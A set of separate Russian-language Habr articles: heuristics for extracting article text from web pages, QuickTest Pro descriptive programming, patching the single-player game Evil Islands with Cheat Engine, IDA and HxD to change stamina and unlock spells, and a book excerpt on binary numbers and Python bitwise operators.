том, что был достигнут конец результирующего набора).
Обратите внимание, что итератор count(*) не имеет информации о том, что он считает строки просмотра; он точно так же будет считать строки любого поддерева, которое будет помещено ниже него, независимо от того, насколько простым или сложным это поддерево может быть.*
*И, наконец, просмотр выполнялся с использованием привязанного к имени таблицы итератора просмотра, в то время как операция count(*) фактически осуществлялась
с использованием итератора агрегации потока. Мы углубимся в подробные детали
работы разных итераторов, поддерживаемых в SQL Server, в следующих статьях | https://habr.com/ru/post/655349/ | null | ru | null |
# Как это сделано: парсинг статей
Для меня всегда было некоей магией то, как Getpocket, Readability и Вконтакте парсят ссылки на страницы и предлагают готовые статьи к просмотру без рекламы, сайдбаров и меню. При этом они практически никогда не ошибаются. А недавно подобная задача назрела и в нашем проекте, и я решил копнуть поглубже. Сразу скажу, что это «белый» парсинг, вебмастеры сами добровольно пользуются нашим сервисом.
В идеальном мире вся информация на страницах должна быть семантически размечена. Умные люди придумали много полезных штук типа Microdata, OpenGraph, тэги Article, Nav …etc, но полагаться на сознательность вебмастеров в плане семантики я бы не спешил. Достаточно самим посмотреть код страниц популярных сайтов. Open Graph кстати самый востребованный формат, всем хочется красиво выглядеть в соц. сетях
Вычленение заголовка статьи и картинки остается за рамками моего поста, так как заголовок обычно берется из title или og, а картинка если она не берется из og:image – это отдельный рассказ.
Переходим к самому интересному – вычленению тела статьи.
Оказывается, есть вполне себе научные paper’ы посвященные этой проблеме (в том числе от сотрудников Гугла). Есть даже соревнование CleanEval с набором тестовых страниц из которых надо извлечь данные, и алгоритмы соревнуются в том кто сделает это точнее.
Выделяются следующие подходы:
* Извлечение данных пользуясь только html документом (DOM и текстовый уровень). Именно эту технику мы обсудим ниже
* Извлечение данных используя отрендеренный документ с помощью computer vision. Это очень точный алгоритм, но и самый сложный и прожорливый. Посмотреть как работает можно например вот здесь: [www.diffbot.com](http://www.diffbot.com/) (проект ребят из Стэнфорда).
* Извлечение данных на уровне сайта целиком, сравнивая однотипные страницы и находя различия между ними (различающиеся блоки это по сути и есть нужный контент). Этим занимаются большие поисковики.
Нас сейчас интересуют подходы к извлечению статьи имея на руках лишь один html документ. Параллельно мы можем решить проблему определения страниц со списками статей с пагинаций. В данной статье мы говорим о методах и подходах, а не окончательном алгоритме.
Парсить будем страницу<http://habrahabr.ru/post/198982/>
#### Список кандидатов на то чтобы стать статьей
Берем все элементы разметки структуры страницы (для простоты — **div**) и текст который в них содержится (если он есть). Наша задача получить плоский список **DIV элемент –> текст в нем**
Например блок меню на Хабре:
Дает нам элемент содержащий текст **«посты q&a события хабы компании»**
При наличии вложенных **div** элементов, их содержание отбрасывается. Дочерние div будут обработаны в свою очередь. Пример:
Мы получим два элемента, в одном текст **©habrahabr.ru**, а во втором **Служба поддержки Мобильная версия**
*Мы предполагаем что в 21 веке элементы которые семантически предназначены для разметки структуры (div), не используют для разметки параграфов в тексте, и это на топ 100 новостных сайтов действительно так.*
В итоге из дерева у нас получается плоский набор:
И так, у нас есть набор в котором надо классифицировать статью. Далее, с помощью различных довольно простых алгоритмов каждому элементу мы будем понижать или повышать коэффициент вероятности наличия в нем статьи.
DOM дерево мы не выкидываем, оно нам понадобится в алгоритмах.
#### Находим повторяющиеся паттерны.
Во всех элементах DOM дерева мы находим элементы с повторяющимися паттернами в атрибутах (class, id..). Например если приглядится к комментариям:
Становится понятно, что такое повторяющийся паттерн:
* Одинаковый набор классов у элементов
* Одинаковая текстовая подстрока в id
Все эти элементы и их «детишек» мы пессимизируем, то есть ставим некоторый понижающий коэффициент в зависимости от количества найденных повторений.
Когда я говорю про «детишек» я имею ввиду, что все вложенные элементы (включая те которые попали в наш набор для классификации) получат пессимизацию. Вот, например, элемент с текстом комментария тоже попадает под раздачу:
#### Соотношение ссылок и обычного текста в элементе.
Идея понятна – в меню и в колонках мы видим сплошные ссылки, что явно не похоже на статью. Пробегаемся по элементам из нашего набора и каждому проставляем коффициент.
Например, текст в элементах в блоке Фрилансим (он у нас уже получили минус за повторяющийся класс), получают минус в догонку за некрасивое соотношение ссылок к тексту равное единице. Понятно, что чем меньше этот коэффициент, тем больше текст похож на осмысленную статью:
#### Соотношение элементов разметки текста к тексту
Чем больше в блоке всякой разметки (списки, переносы, span...), тем меньше шанс, что это статья. Например, реклама вероятно уважаемой SEO компании, не очень похожа на статью, так как целиком представляет собой список. Чем ниже значение соотношения разметки к тексту тем лучше.
#### Количество точек (предложений) в тексте.
Здесь мы уже почти заползли на территорию численной лингвистики. Дело в том, что в заголовках и меню точки практически не ставятся. А вот в теле статьи их много.
Если какие-то меню и списки новых материалов на сайте еще пролезли через предыдущие фильтры, то можно добить подсчетом точек. Не очень-то их много в блоке лучшее:
Чем больше точек, тем лучше, и мы повышаем шансы данному элементу на получения гордого звания статьи
#### Количество блоков с текстом примерно одинаковой длины
Много блоков с текстом примерно одной длины это плохой признак, особенно если текст короткий. Мы такие блоки пессимизируем. Идея хорошо сработает на подобной верстке:
В примере не Хабр, так как данный алгоритм лучше работает на более строгих сетках. На комментариях на Хабре сработает к примеру не очень хорошо.
#### Длина текста в элементе
Здесь прямая зависимость – чем длиннее текст в элементе, тем больше шансов на то, что это статья.
Причем вклад этого параметра в итоговую оценку элемента очень существенен. 90% случаев парсинга статьи можно решить одним этим методом. Все предыдущие изыскания поднимут этот шанс до 95%, но при этом скушают львиную долю процессорного времени.
Однако представьте: комментарий размером с саму статью. Если просто определять статью по длине текста случится конфуз. Но есть высокий шанс, что предыдущие алгоритмы немного подрежут крылья нашему комментатору-графоману, так как элемент будут пессимизирован за повторяющийся паттерн в id или классе.
Или еще один случай — увесистое выпадающее меню сделанное с применением `Готовые алгоритмы для вашего языка можно найти по запросам "boilerplate algorithm", "readability algorithm"` | https://habr.com/ru/post/200394/ | null | ru | null |
# Descriptive Programming в QuickTest Pro
QuickTest Professional – популярный инструмент для автоматизации функционального тестирования. В немалой степени его популярность обусловлена наличием в нем рекордера пользовательской активности, который позволяет записать действия пользователя и преобразовать их в скрипт.
Объекты, с которыми взаимодействует пользователь, автоматически идентифицируются QTP и сохраняются в специальное хранилище – репозиторий. При сохранении в репозиторий, QTP автоматически сохраняет идентификационные свойства объекта, но делает это не всегда правильно. Например, если на веб-странице присутствуют несколько таблиц (даже если у каждой из них есть свой ID), QTP идентифицирует их по порядковым номерам. Такой способ идентификации объектов вызывает проблемы при проигрывании автотестов. Более того, многие объекты вообще не попадают в репозиторий при записи. Это вызвано многими причинами, наиболее частыми из которых является сложная верстка или верстка с применением DIV-ов. Однако, существует способ обращаться к объектам тестируемого приложения на этапе выполнения скрипта, минуя обращение к репозиторию.
Этот способ называется Descriptive Programming (DP).
Основной идеей DP является поиск и обращение объектов по их идентификационным свойствам. Для DOM-элементов это может быть ID, Name, Тег, Inner Text и т.д. Например, для обращения к кнопке с Id равным SubmitBtn нужно использовать следущую конструкцию:
> `WebButton("html tag:=button","html id:=SubmitBtn")
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обращения к объектам QTP иерархические. Можно комбинировать обращение к репозиторию и DP, но с одним ограничением – если на каком-то уровне иерархии использовался DP, то на следующих уровнях иерархии нельзя обращаться к репозиторию. Например:
> `Browser("Browser").Page("Page").WebElement("table1").WebElement("html tag:=table","html id:=tbl\_grid") 'верно
>
>
>
> Browser("Browser").Page("Page").WebElement("html id:=table1").WebElement("tbl\_grid") 'неверно
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Все поисковые конструкции в DP являются регулярными выражениями.
> `Browser("Browser").Page("Page").Link("inner text:=Subject[\d]{1,2}") 'найти ссылку, inner text которой содержит Subject, и от одной до двух цифр.
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь давайте поиграем ;).
Нам понадобится QTP, 14-ти дневную пробную версию можно взять [здесь](https://h10078.www1.hp.com/cda/hpdc/navigation.do?action=downloadBinStart&caid=42829&cp=54_4000_18&zn=bto&filename=T6512EAET) (требуется HP Passport, регистрация бесплатна).
В качестве объекта автоматизации снова выберем Калькулятор
1. Запускаем QTP.
2. Создаем новый тест
3. Нажимаем кнопку «Record».
4. В появившемся окне переходим на вкладку Windows Application, нажимаем в ней «+» и вводим calc.exe в поле ввода Application
5. Нажимаем ОК.
6. В автоматически запущенном калькуляторе нажимаем кнопки 1,2,\*,5,=
7. В окне результата видим 60
8. Нажимаем Ctrl+F12 для создания Выходного значения теста.
9. В появившемся окне ставим галочку напротив свойства text, по умолчанию значение сохраняется в ячейку таблицы данных. Нажимаем ОК
10. Закрываем Калькулятор
11. Нажимаем Stop record в QTP
Что же у нас получилось в результате? На вкладке Expert View – наш скрипт
> `Window("Calculator").WinButton("1").Click
>
> Window("Calculator").WinButton("2").Click
>
> Window("Calculator").WinButton("\*").Click
>
> Window("Calculator").WinButton("5").Click
>
> Window("Calculator").WinButton("=").Click
>
> Window("Calculator").WinEdit("Edit").Output CheckPoint("Edit")
>
> Window("Calculator").Close
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для одного тестового сценария – отлично. Но если нам нужно проверить не только умножение, а и деление, сложение. А еще существуют отрицательные числа… Вариант в лоб – записывать для каждого кейса свой Action, имеет существенный недостаток – трудно поддерживать. Вариант получше – добавить в репозиторий все кнопки калькулятора и нажимать на них программно.
> `A = "1"
>
>
>
> Window("Calculator").WinButton(A).Click
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вариант неплох, но его очень трудно поддерживать – в случае добавления или удаления кнопок нужно изменять репозиторий объектов.
И здесь нам на помощь придет DP – у каждой кнопки есть надпись, значит можно идентифицировать кнопку по ней.
> `Window("Calculator").WinButton("text:=2").Click
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И в этом случае мы сможем написать универсальную процедуру для нажатия на кнопку. Более того, мы сможем сделать унифицированный action для проверки вычислений калькулятора.
Создадим новый Action – Insert->Call to new Action. Зададим ей имя Calc\_Tests и снимем галочку Reusable Action. Передвинем Calc\_Tests в окне Test Flow выше Action1.
Далее нам нужно добавить параметры к тому Action, который был у нас изначально, по умолчанию Action1. В окне TestFlow нажимаем на него правой кнопкой->Action properties->Parameters. Добавляем входные строковые параметры OperList и Expected и выходной строковый параметр ActualResult.
Изменяем исходный код Action1 следующим образом:
> `operList = Parameter("OperList") ' получить входной параметр OperList
> expectedRes = Parameter("Expected") ' получить входной параметр Expected
>
> operArr = split(operList,";") ' разбить строку в массив по разделителю ;
>
> For each oper in operArr ' для каждого элемента массива
> Button\_Click Window("Calculator"), oper ' нажать на заданную кнопку
> Next
>
> actual = rtrim(Window("Calculator").WinEdit("Edit").GetROProperty("text")) 'получить текущее значение результата
>
> If actual <> expectedRes Then
> reporter.ReportEvent micFail, "Calc Test","Expected: " & expectedRes & " <> Actual: " & actual ' запротоколировать результат
> else
> reporter.ReportEvent micPass, "Calc Test","Expected: " & expectedRes & " = Actual: " & actual
> End If
>
>
> Button\_click Window("Calculator"), "C" ' сброс калькулятора
> Button\_click Window("Calculator"), "MC" ' и памяти
>
> Parameter("ActualResult") = actual ' возврат актуального результата операции
>
> ' процедура нажатия на кнопку, идентифицированную по по ее свойству text
> Sub Button\_click(Obj,btn\_label)
> If Obj.WinButton("text:="& btn\_label).Exist then ' если кнопка существует
> Obj.WinButton("text:="& btn\_label).Click ' нажать ее
> end if
> End Sub
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/69138/ | null | ru | null |
# Проклятые Земли. Освежаем геймплей
Приветик! Наверняка многие играли в замечательную игру от компании Nival Interactive - Проклятые Земли.
Такое бывает...Кто-то её помнит по сложным на первый взгляд противникам, кто-то по шикарному и удивительному сюжету, кто-то за удивительные фишки (крафт, стелс, возможность красть вражеские вещи из карманов и брать себе напарников) а кто-то полюбил её так, как я, и гоняет орков и кабанчиков по всему аллоду и по сей день.
Что касается уникальных фишек - в ПЗ их действительно очень много! Чего только стоит возможность собирать разные типы оружия из разного материала, да ещё и вставлять в него заклинания! Кстати, с бронёй можно сделать точно так же.
Сборка оружия в 1-м предоставляющемся главному герою магазинеСледующая же фишка - вообще удивительный элемент геймдизайна как для 2000 года!
Белые облачка означают область зрения орчихи (вызваны использованием 4-го сверху заклинания "Поле зрения") - она не видит Зака через пенёкЗак сидит за пеньком прямо перед носом у орков, которые его не видят. Но если встать...
Стоячий Зак попадает в поле зрение орчихи и она начинает вести стрельбу...То орчиха начинает видеть Зака, ведь теперь он уже выше пенька! Но это далеко не всё то, за что можно выразить огромный респект геймдизайнерам и программистам того времени. Каждый, кто хотя бы на 30 минут запускал ПЗ, наверняка прекрасно помнит тот романтичный момент, когда Заку предоставляется возможность обокрасть первого же встреченного им здоровенного людоеда.
Кража монет у людоедаВ игре есть 4 способа перемещения: бег, ходьба, на кортанах и лёжа. Последние 2 в оригинальном балансе игры являются абсолютно бесшумными способами передвижения, бег же наоборот своим звуком с большого расстояния собирает подозрительных противников. Потому людоеда я решила обокрасть именно на кортанах чтобы он меня не услышал.
Во время бега запас сил расходуется, а восстанавливается он только если пассивно находиться на одном месте. Атакующие, колдующие и двигающиеся персонажи не могут восстанавливать свой запас сил.
В игре также есть боевая магия. Использование атакующих заклинаний, как и всех других, серьёзно тратит запас сил персонажа. Только посмотрите как красиво Зак кастует молнию в этого лесоруба! Это стоит ему почти всего запаса сил не смотря на неадекватную прокачку.
Очень хорошо прокачанный персонажЯ люблю динамику в играх, но это не самое важное. Самое важное, что довольно глупо смотрится то, как маг стоит на месте и поливает магией своих противников, будто он воин, который надел броню и терпит, а вовсе не маг. Во многих современных играх можно атаковать в движении, что даёт возможность магам держаться от противника на дистанции и не получать в лицо от, допустим, толстого тролля с кучей хп и кучей урона.
В ПЗ же даже анимация такого действа не предусмотрена, потому геймплей магом крайне некрасив. Как, кстати, и стрелком, которому хоть запас сил для стрельбы и не нужен, но убегать от противника он может лишь несколько секунд, а потом сразу выдохнется... Что можно с этим сделать?
Нам понадобятся: Cheat Engine, IDA, HxD ну и сама игра Проклятые Земли.
Запускаем игру и Cheat Engine... Нам нужно узнать что записывает запас сил в память и что читает его у нашего героя из памяти.
Запас сил = 375Вбиваем число напротив синей шкалы и ищем его в памяти процесса game.exe. Довольно легко проверить, что запас сил персонажа - число типа float, как и большинство чисел в этой игре, касающихся характеристик объектов, находящихся на картах.
Чтобы найти нужный адрес достаточно побегать героем по карте, чтобы его запас сил изменился и выбрать для отсеивания в Cheat Engine опцию Decreased value.
Запас сил героя в памяти игрыУже с 3-й попытки я нашла запас сил в памяти. Теперь пора узнать что его записывает и что его читает. Жмём ПКМ + Find out what writes to this address.
```
00548323 - D9 57 14 - fst dword ptr [edi+14]
0052382D - D9 5E 14 - fstp dword ptr [esi+14]
0054834B - C7 47 14 00000000 - mov [edi+14],00000000
```
Получаем такие результаты. 1-е - трата запаса сил, 2-е - восстановление запаса сил, 3-е - полная трата запаса сил. Самое интересное пока - чтобы персонаж не был задохликом и бежал в зависимости от количества сил, а не жалкие 10 секунд.
Команда сохраняет запас сил в памятиПереходим чуть выше и смотрим что там по адресу EDI+14 и EDI+18. 1-е и 2-е закономерно оказываются запасом сил героя. 1-е - текущий, 2-е - максимальный.
Команда fst записывает в память из регистра FPU, команда fld же наобророт берёт из памяти и пишет в регистр FPU.
Стоит обратить внимание куда именно найденная нами команда fst dword ptr [EDI+14] пишет. Выше команда наоборот берёт оттуда значение.
Далее уже всё понятно: в регистры FPU берутся сначала текущий, потом максимальный запас сил, затем максимум умножается на константу (в оригинале она = 0.006666666666666666, а у меня она изменена на 0.1), это число отнимается от текущего запаса сил и результат кидается на его место. Мне захотелось сделать так, чтобы запас сил расходовался по 0.2, а не по 0.1%. Максимальный запас сил нам не нужен, как и умножение на что-то, нам нужно отнимать само число. Используя сайт <https://defuse.ca/online-x86-assembler.htm> получаем, что желаемая нами команда имеет такой код:
```
dc 25 88 f0 73 00 fsub QWORD PTR ds:0x73f088
```
Вставляем его в движок игры, используя HxD, а остальное можно забить командой NOP.
Переписываем код игры прямо в HxD!Теперь надо всунуть другую константу чтобы персонаж хоть как-то терял запас сил при беге (отнимать 1/150 - уж очень мало)...
9A 99 99 99 99 99 C9 3F = 0.2fОкей, теперь персонаж бегает, теряя запаса сил не по 1/150 от его части, а по 0.2 единицы. Но это всего лишь значит, что с запасом сил более 30 наш главный персонаж будет бегать дольше, чем в оригинале, но особенной динамики само по себе это не принесёт. В битвах уж точно.
Сам факт восстановления запаса сил нас прекрасно устраивает, нам надо только изменить его условия. Ну а точнее убрать их подальше. Посмотрим, что из кусков кода читает запас сил и что от него отталкивается. Снова запускаем игру и Cheat Engine. Жмём ПКМ + Find out what accesses this address. Надо снова немного побегать и постоять, восстанавливая запас сил героя.
```
00548679 - D9 47 14 - fld dword ptr [edi+14]
005482D3 - D9 47 14 - fld dword ptr [edi+14]
00548315 - D9 47 14 - fld dword ptr [edi+14]
00522C82 - 8B 51 14 - mov edx,[ecx+14]
0052377A - D9 46 14 - fld dword ptr [esi+14]
00523805 - D8 46 14 - fadd dword ptr [esi+14]
```
Получаем вот такой контент. 1-е - включение бега, 2-е бег, 3-е - бег, 4-е - изменение запаса сил, 5-е -релакс, 6-е - восстановление запаса сил.
Естественно и очевидно что нам интересно именно 6-е и в каких случаях эта команда выполняется в коде игры. Внимательно смотрим повыше в ассемблерном листинге и находим там это начало функции. Видим чуть ниже условный переход, который не выкидывает сразу же из функции, но полностью скипает другие проверки, в том числе он скипает и восстановление запаса сил. Скорее всего это и есть проверка, находится ли персонаж на 1 месте (в релаксе) или же не находится.
Начало функцииПробуем поменять, чтобы прыжка через этот кусок кода не стало...
Команды NOP заменили переходИ да! Всё получилось, теперь герой регенирирует свой запас сил даже во время каста заклинания. Ну и во время бега, конечно же, тоже.
Зак скастовал заклинание и отрегенил запас сил уже 2-мя тикамиПоменяем значение в game.exe через HxD, чтобы наслаждаться динамичной игрой...
Убираем условиеНо это не всё. Игра за мага, ясное дело, получается в принципе из-за магии. И динамичная игра за мага определяется самими заклинаниями. В игре есть куча неиспользованной магии. Некоторые заклинания вполне рабочие и просто не продаются в магазинах, как например "мертвец" и "зрение мертвеца" (а в аддоне к этой замечательной игре - "Проклятые Земли: Затерянные в Астрале" так наоборот, они продаются, но не продаются "фейерверк" и "телепортация"). Но некоторые заклинания игры суровейшим образом отключены прямо в самом движке.
По адресу 0х0067F870 в памяти игры есть функция, выбирающая 1 из 43 эффектов для используемого заклинания. Наверняка этот скриншот очень многое скажет о сложности этой функции (там всего довольно много)...
Страшная функция заклинаний в ПЗ, видная через IDAДовольно долго и нудно, но при этом легко и просто я пришла к этому адресу, где жёстко и грубо выпиливаются 3 заклинания ещё на подходе по их номеру.
3 условных перехода внизу - проверка для заклинаний Link, Possession и Charm15h - Possession, 18h - Link, 24h - Charm. Теперь это всё надо превратить в NOP чтобы получить доступ к засекреченным заклинаниям! Ухх, как же интригующе!
Запреты (условные переходы) превращаем в NOPИтак... Новые заклинания получены! Теперь достаточно ввести в игре в магазине в консоль, нажав на "~", следующие команды:
```
thingamabob
give 0 money 99999999
give 0 assortment
```
Теперь, чтобы игра не забаговалась, стоит выйти из магазина, ну и зайти обратно...
Покупаем заклинания за 200 (с розовым дымком и светлым сиянием, это Possession), за 3200 (с собачкой, это Charm) и за 400 (с пьяным мужиком идущим во тьме, это Link) и идём их тестировать!
Начнём с конца... Link делает ровно ничего, у него даже кода нет, только анимация и её завершение, очень полезное заклинание.
Скорее всего просто не успели написать код заклинанияCharm подчиняет противника очень странным образом, заклинание явно не имеет полного кода и игра вылетает при попытке подчинить следующего противника.
Possession же - действительно находка!.. Скриншот будет лучше всяких слов.
Действие PossessionЭто заклинание позволяет перенести взгляд героя в противника. Сам эффект не очень эффективный, но очень интересный. Если бы оно было на ранних аллодах, а орлиного взора, ночного зрения и ясновидения не было на Гипате и Ингосе (ну или в ПЗ: ЗвА - на Суслангере и Гипате), это заклинание было бы прекрасным и интересным инструментом для шпионажа за патрулями и позициями противников.
Эти изменения я ввела для ПЗ ещё очень давно, а чуть потом мне удалось запихать их и добавить ещё множество новых в специальную библиотеку, которая является одним из самых масштабных дополнений для движка ПЗ, которое я назвала SpellAddon.
Используя внутриигровые скрипты получилось сбрасывать агрессию противников, что в оригинале было невозможным без перезахода на игровую локацию, даже телепортировавшись через всю карту, через горы и реки, противник всё равно находил главного героя и стремился его убить, пока 1 из них не окажется повержен.
Стоит заметить, что всё выше написанное актуально для версии игры 1.06 и на остальных версиях операции не проводились.
**Полезные** **ссылки:**
<https://evilislandsaddon.forumotion.com> - форум на котором можно найти SpellAddon.
<https://vk.com/evil.islands> - группа в ВК
<http://gipat.ru> - форум "Город джунов".
<http://gipatgroup.org/forum> - самый масштабный, но не особо функционирующий форум "GipatGroup". Впрочем, прочитать на нём полезную информацию сейчас возможно.
<http://honestgroup.net/forum> — форум HonestGroup.
Избранный явился!Всем удачи! | https://habr.com/ru/post/685106/ | null | ru | null |
# Книга «Computer Science для программиста-самоучки. Все что нужно знать о структурах данных и алгоритмах»
[](https://habr.com/ru/company/piter/blog/711786/) Как дела, Хаброжители?
Книги Кори Альтхоффа вдохновили сотни тысяч людей на самостоятельное изучение программирования.
Чтобы стать профи в программировании, не обязательно иметь диплом в области computer science, и личный опыт Кори подтверждает это: он стал разработчиком ПО в eBay и добился этого самостоятельно.
Познакомьтесь с наиболее важными темами computer science, в которых должен разбираться каждый программист-самоучка, мечтающий о выдающейся карьере, — это структуры данных и алгоритмы. «Computer Science для программиста-самоучки» поможет вам пройти техническое интервью, без которого нельзя получить работу в «айти».
Книга написана для абсолютных новичков, поэтому у вас не должно возникнуть трудностей, даже если ранее вы ничего не слышали о computer science.
**Для кого эта книга**
Итак, я убедил вас, что самоучки могут программировать на профессиональном уровне и что вам нужно изучать информатику, особенно структуры данных и алгоритмы. Но значит ли это, что вы не можете читать книгу, если учитесь программированию не самостоятельно, а в колледже? Конечно же нет! Мы рады видеть всех в нашем сообществе самоучек! Моя первая книга стала неожиданно популярной среди студентов колледжей. Несколько преподавателей даже связались со мной и сказали, что читают свои лекции по моей книге.
Студенты, изучающие информатику, часто спрашивают меня, надо ли им бросать свои образовательные учреждения. Моя цель — вдохновить как можно больше людей на освоение программирования. То есть я хочу донести до всех мысль, что программировать профессионально без получения соответствующего образования возможно. Но если вы уже в колледже, то это тоже сработает и вам не нужно бросать учебу. Оставайтесь в колледже! Вы все равно можете стать частью сообщества самоучек, руководствуясь нашим девизом «Всегда учиться!» на своих занятиях и стараясь выходить за пределы учебных программ, чтобы узнать больше, чем преподаватель может вам дать.
Как же понять, что вы готовы изучать computer science? Легко. Если вы уже знаете, как программировать, вы готовы! Я написал эту книгу для каждого, кто хочет узнать больше о computer science. Неважно, читаете вы эту книгу для того, чтобы заполнить пробелы в знаниях, или чтобы подготовиться к техническому интервью, или чтобы почувствовать себя компетентным на своей работе и стать лучше в качестве программиста, — я написал эту книгу для вас.
Двоичный код
------------
Компьютеры «мыслят» в двоичном формате. **Двоичное число** — число двоичной системы счисления (с основанием 2). **Система счисления** — система записи чисел. Для обозначения двоичных чисел используются только две цифры: 0 и 1. В двоичной системе цифра называется **битом**, что означает двоичный разряд.
Система счисления, которую вы используете для счета, называется десятичной (с основанием 10) и имеет 10 знаков (от 0 до 9). **Основание** системы счисления — это количество цифр в этой системе. Двоичная и десятичная — не единственные виды систем счисления. Есть, например, система счисления по основанию 16, которая популярна среди программистов и называется
шестнадцатеричной.
Ниже приведено несколько примеров двоичных чисел:
100
1000
101
1101
Когда вы смотрите на эти числа, вы не знаете, по какому они основанию — 2 или 10. Например, первое число 100 может быть 100 по основанию 10 или 4 по основанию 2.
Существует несколько способов для отображения числа по основанию 2. Например, программисты часто ставят b перед числом, чтобы показать, что оно по основанию 2. Вот как еще можно обозначить число по основанию 2:
100b
10002
%100
0b100
**Вес разряда** — это числовое значение, которое принимает цифра в зависимости от своего места в числе. У четырехзначного числа вес разряда представлен в тысячах, сотнях, десятках и единицах. К примеру, число 1452 — это одна тысяча, плюс четыре сотни, плюс пять десятков, плюс две единицы (рис. 6.1).
В десятичной системе каждый вес разряда имеет степень 10. Крайний правый вес разряда равен 10 в нулевой степени, что равно 1. Следующий вес разряда — 10 в первой степени, что равно 10. Следующий вес разряда равен 10 во второй степени (10 × 10), что равно 100. Следующий вес разряда равен 10 в третьей степени (10 × 10 × 10), что равно 1000 (рис. 6.2).
Вы можете выразить число 1452 как равенство, используя его веса разрядов:
(1 \* 10 \*\* 3) + (4 \* 10 \*\* 2) + (5 \* 10 \*\* 1) + (2 \* 10 \*\* 0) = 1452
Или представить следующим образом:
1 \* 10 \*\* 3 = 1 \* 1000 = 1000 +
4 \* 10 \*\* 2 = 4 \* 100 = 400 +
5 \* 10 \*\* 1 = 5 \* 10 = 50 +
2 \* 10 \*\* 0 = 2 \* 1 = 2
\_\_\_\_\_\_\_\_\_\_\_
1452
Двоичная система счисления работает так же, как десятичная, за исключением того, что в ней лишь две цифры — 0 и 1, а веса разрядов имеют степень 2, а не 10. Крайний правый вес разряда равен 2 в нулевой степени, что равно 1. Следующий вес разряда — 2 в первой степени, что равно 2. Следующий вес разряда равен 2 во второй степени, что равно 4 (2 × 2). Следующий вес разряда равен 2 в третьей степени, что равно 8 (2 × 2 × 2) (рис. 6.3).
Вот как выглядит равенство для числа 1101 по основанию 2:
(1 \* 2 \*\* 3) + (1 \* 2 \*\* 2) + (0 \* 2 \*\* 1)
+ (1 \* 2 \*\* 0) =
8 + 4 + 0 + 1 = 13
Или:
1 \* 2 \*\* 3 = 1 \* 8 = 8 +
1 \* 2 \*\* 2 = 1 \* 4 = 4 +
0 \* 2 \*\* 1 = 0 \* 2 = 0 +
1 \* 2 \*\* 0 = 1 \* 1 = 1
\_\_\_\_
13
Как видите, 1101 в двоичной системе является числом 13 в десятичной.
В десятичной системе вы считаете, начиная с нуля: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9. В этот момент у вас заканчиваются цифры. Чтобы представить следующее число, как вам известно, вы создаете 10, используя 2 цифры. Вы представляете 10 с помощью цифры 1, за которой следует 0.
Когда вы считаете в двоичном коде, вы также начинаете с нуля.
0
Как и в десятичной системе, следующее число 1.
1
После 1 у вас заканчиваются цифры. Это означает, что вам нужно использовать две цифры, чтобы представить число 2, так же, как вы их использовали в десятичной системе, чтобы представить число 10.
В двоичном коде вы обозначаете 2 с помощью 1 и 0:
10
Ноль означает отсутствие единиц, а 1 означает одну двойку. Как же обозначить число 3 в двоичной системе?
11
Первая справа цифра 1 означает одну единицу, а вторая справа 1 означает одну двойку. Если вы прибавите 2 к 1, то получите 3.
Следующая цифра 4 в двоичной системе выглядит следующим образом:
100
Первый 0 справа означает отсутствие единиц, второй 0 справа означает отсутствие двоек, а 1 означает одну четверку. Сложите их и получите 4.
Побитовые операторы
-------------------
Обычно, когда вы программируете или оперируете числами, вы работаете с целыми числами и числами с плавающей точкой, например с такими, как 100 и 10.5. Однако бывает полезно поработать и с двоичными числами. Используя двоичные числа, можно быстро решать определенные задачи: скажем, выяснить, является ли число степенью 2.
Для работы с двоичными числами в Python можно использовать метод bin.
```
print(bin(16))
>> 0b1000
```
Когда вы печатаете bin(16), результат равен 0b10000, что в двоичной системе означает число 16. Как вы узнали ранее, 0b показывает, что число записано в двоичном формате.
**Побитовый оператор** — это оператор, который можно использовать в выражении с двумя двоичными числами. Например, побитовый оператор AND в Python выполняет булеву арифметику бит за битом. Если оба бита равны 1 (True), Python возвращает число 1; в противном случае Python возвращает 0 (False). Логика для каждого бита у побитового AND та же, что и для ключевого слова and в Python.
Как вы уже знаете, если вы используете ключевое слово and в Python и обе стороны выражения принимают значение True, то Python возвращает True.
```
print(1==1 and 2==2)
>> True
```
Если обе стороны принимают значение False, он возвращает False.
```
print(1==2 and 2==3)
>> False
```
Если одна сторона принимает значение True, а другая False, Python также возвращает False.
```
print(1==1 and 1==2)
>> False
```
Рассмотрим пример применения побитового AND. Допустим, у вас есть два целых числа 2 и 3. Два в двоичной системе равно 0b10, а 3 равно 0b11. Первый справа бит цифры 2 — это 0, первый справа бит цифры 3 — это 1.
```
10 # 2
11 # 3
——
0
```
Применение побитового AND к этим битам приводит к 0, потому что есть значения True и False, которые возвращают False (помните: 0 равно False, а 1 равно True). Применение побитового AND ко второму набору битов приводит к 1, так как обе цифры принимают значение True, и Python возвращает True.
```
10 # 2
11 # 3
——
10
```
В данном случае побитовая операция AND выводит 0b10, что соответствует цифре 2 в двоичном коде (вы скоро узнаете, чем это полезно).
На языке Python побитовый оператор AND — это знак амперсанда (&). Вот как вы можете применить побитовое AND к двоичным цифрам 0b10 и 0b11 на языке Python:
```
print(0b10 & 0b11)
>> 2
```
Вам не нужно использовать побитовое AND для двоичных чисел.
```
print(2 & 3)
>> 2
```
В данном случае вы применили оператор AND для десятичных чисел, но Python использует двоичные значения, определяющие 2 и 3, для выполнения операции.
В Python также есть побитовый оператор OR, который работает побитово и возвращает значение 1, когда один или оба бита принимают значение True, и возвращает False, когда оба принимают значение False: точно так же, как ключевое слово or в Python. Посмотрим, что произойдет, если вы используете побитовый оператор OR для чисел 2 и 3. Применение оператора OR для первых двух битов приводит к значению 1, потому что один из битов равен True.
```
10 # 2
11 # 3
——
1
```
Когда вы применяете побитовый оператор OR для второго набора битов, Python возвращает 1, потому что оба бита принимают значение True (1).
```
10 # 2
11 # 3
——
11
```
Как видите, результат оператора OR для чисел 2 и 3 равен 0b11, что соответствует десятичному числу 3.
На языке Python побитовый оператор OR представлен в виде вертикальной черты (|).
```
print(2 | 3)
>> 3
```
Двоичные операторы, с которыми вы уже познакомились, встречаются наиболее часто, однако есть и другие: побитовые XOR, NOT, сдвиг вправо и сдвиг влево. О них вы можете узнать из документации к языку Python.
